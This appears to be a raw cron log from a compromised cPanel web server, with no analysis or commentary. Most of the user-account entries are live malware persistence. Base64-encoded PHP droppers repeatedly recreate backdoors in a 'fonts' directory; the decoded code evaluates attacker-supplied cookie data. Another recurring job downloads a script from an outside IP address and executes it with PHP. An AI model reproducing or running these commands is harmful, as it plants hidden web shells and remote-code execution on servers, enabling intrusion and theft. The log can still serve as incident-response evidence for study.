Sep 12 00:41:01 ip-184-168-122-23 CROND[29499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:41:01 ip-184-168-122-23 CROND[29502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:41:01 ip-184-168-122-23 CROND[29501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:42:01 ip-184-168-122-23 CROND[29593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:42:01 ip-184-168-122-23 CROND[29594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:42:01 ip-184-168-122-23 CROND[29598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:42:01 ip-184-168-122-23 CROND[29596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:42:01 ip-184-168-122-23 CROND[29597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:43:01 ip-184-168-122-23 CROND[29677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:43:01 ip-184-168-122-23 CROND[29679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:43:01 ip-184-168-122-23 CROND[29680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:43:01 ip-184-168-122-23 CROND[29681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:44:01 ip-184-168-122-23 CROND[29881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:44:01 ip-184-168-122-23 CROND[29882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:44:01 ip-184-168-122-23 CROND[29884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:44:01 ip-184-168-122-23 CROND[29885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:44:01 ip-184-168-122-23 CROND[29883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:45:02 ip-184-168-122-23 CROND[29973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:45:02 ip-184-168-122-23 CROND[29977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:45:02 ip-184-168-122-23 CROND[29978]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 12 00:45:02 ip-184-168-122-23 CROND[29979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:45:02 ip-184-168-122-23 CROND[29975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:45:02 ip-184-168-122-23 CROND[29980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:45:02 ip-184-168-122-23 CROND[29976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:46:01 ip-184-168-122-23 CROND[30156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:46:01 ip-184-168-122-23 CROND[30160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:46:01 ip-184-168-122-23 CROND[30162]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 00:46:01 ip-184-168-122-23 CROND[30159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:46:01 ip-184-168-122-23 CROND[30161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:46:01 ip-184-168-122-23 CROND[30158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:46:01 ip-184-168-122-23 CROND[30163]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 00:47:01 ip-184-168-122-23 CROND[30252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:47:01 ip-184-168-122-23 CROND[30255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:47:01 ip-184-168-122-23 CROND[30254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:47:01 ip-184-168-122-23 CROND[30256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:48:01 ip-184-168-122-23 CROND[30369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:48:01 ip-184-168-122-23 CROND[30371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:48:01 ip-184-168-122-23 CROND[30370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:48:01 ip-184-168-122-23 CROND[30372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:48:01 ip-184-168-122-23 CROND[30373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:49:01 ip-184-168-122-23 CROND[30465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:49:01 ip-184-168-122-23 CROND[30464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:49:01 ip-184-168-122-23 CROND[30466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:49:01 ip-184-168-122-23 CROND[30468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:50:01 ip-184-168-122-23 CROND[30572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:50:01 ip-184-168-122-23 CROND[30574]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:50:01 ip-184-168-122-23 CROND[30575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:50:01 ip-184-168-122-23 CROND[30577]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 00:50:01 ip-184-168-122-23 CROND[30579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:50:01 ip-184-168-122-23 CROND[30576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:50:01 ip-184-168-122-23 CROND[30580]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:50:01 ip-184-168-122-23 CROND[30581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:50:01 ip-184-168-122-23 CROND[30582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:51:01 ip-184-168-122-23 CROND[30808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:51:01 ip-184-168-122-23 CROND[30810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:51:01 ip-184-168-122-23 CROND[30809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:51:01 ip-184-168-122-23 CROND[30812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:52:01 ip-184-168-122-23 CROND[30899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:52:01 ip-184-168-122-23 CROND[30903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:52:01 ip-184-168-122-23 CROND[30901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:52:01 ip-184-168-122-23 CROND[30904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:52:01 ip-184-168-122-23 CROND[30902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:53:01 ip-184-168-122-23 CROND[30986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
